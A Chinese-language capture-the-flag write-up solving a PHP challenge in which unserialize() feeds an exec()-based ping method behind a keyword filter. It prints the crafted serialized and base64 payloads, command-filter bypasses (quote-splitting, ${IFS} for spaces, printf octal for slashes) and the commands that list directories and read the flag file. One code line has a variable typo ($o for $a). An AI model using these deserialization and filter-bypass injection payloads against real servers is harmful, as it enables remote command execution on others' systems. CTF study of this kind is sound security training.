?拿到題目看不懂?這是難度1?含淚去看大佬的wp,寫下我的自傳! ? ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
?1.首先看題目可以知道是用POST傳入參數從而達到系統查找,外邊這個參數還進行了base64解碼和反序列化編碼,這又給我們上了一波難度。不過這算是簡單的,我們先看函數。
2.__wakeup()是對waf($str)函數進行調用和執行的,而waf($str)函數是對\||&|;|?|\/|cat|flag|tac|php|ls進行黑名單過濾的,那就要繞過嘍。
3.ping($ip)函數是
將輸入參數作為外部命令進行執行,并返回輸出結果。該函數實現了作為一個webshell的基本條件。
4.?__destruct()函數
是檢測ping是否在$method
中,并調用了名為$method
的方法,且以數組$arg
中的值作為參數
5.綜合來看就是在通過$method
和__construct來調用構造的ping方法,接著通過$args來作為輸入口進行命令的輸入
接下來開整:
跟據已有的代碼我們進行逆向調用,構造如下:
使用""進行ls過濾的繞過。
$a = new ease("ping",array('l""s'));//調用類傳入$method=ping;$args=array('l""s')
$b = serialize($a);//序列化
echo $b;
echo'</br>';
echo base64_encode($b);//base64編碼
?完整代碼如下:
<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}$a = new ease("ping",array('l""s'));//調用類傳入$method=ping;$args=array('l""s')
$b = serialize($a);//序列化
echo $b;
echo'</br>';
echo base64_encode($b);//base64編碼?>
?然后進行php編譯,編譯結果如下:
序列化:O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l""s";}}
base64編碼:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
?再用hackbar插件進行post傳參:
得到flag_1s_here目錄和index.php文件
這次我們需要構造查看flag_1s_here目錄,空格我們就用${IFS}來繞過,注意這里的目錄名稱中的flag也要繞過一下:
$a=new ease("ping",array('l""s""${IFS}f""lag_1s_here'));
$b = serialize($o);
echo base64_encode($b);
?得到編碼后的:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNjoibCIicyIiJHtJRlN9ZiIibGFnXzFzX2hlcmUiO319
傳參后發現該目錄下有一個flag_831b69012c67b35f.php文件
那我們就接著構造:這里涉及到了符號 / ,我們用printf和$()來繞過,注意這里php也要繞過
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo base64_encode($b);
?得到編碼后的:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
傳參后就得到了flag:cyberpeace{c8b062d2749e0bba95e3a8e9a216a6ed}
?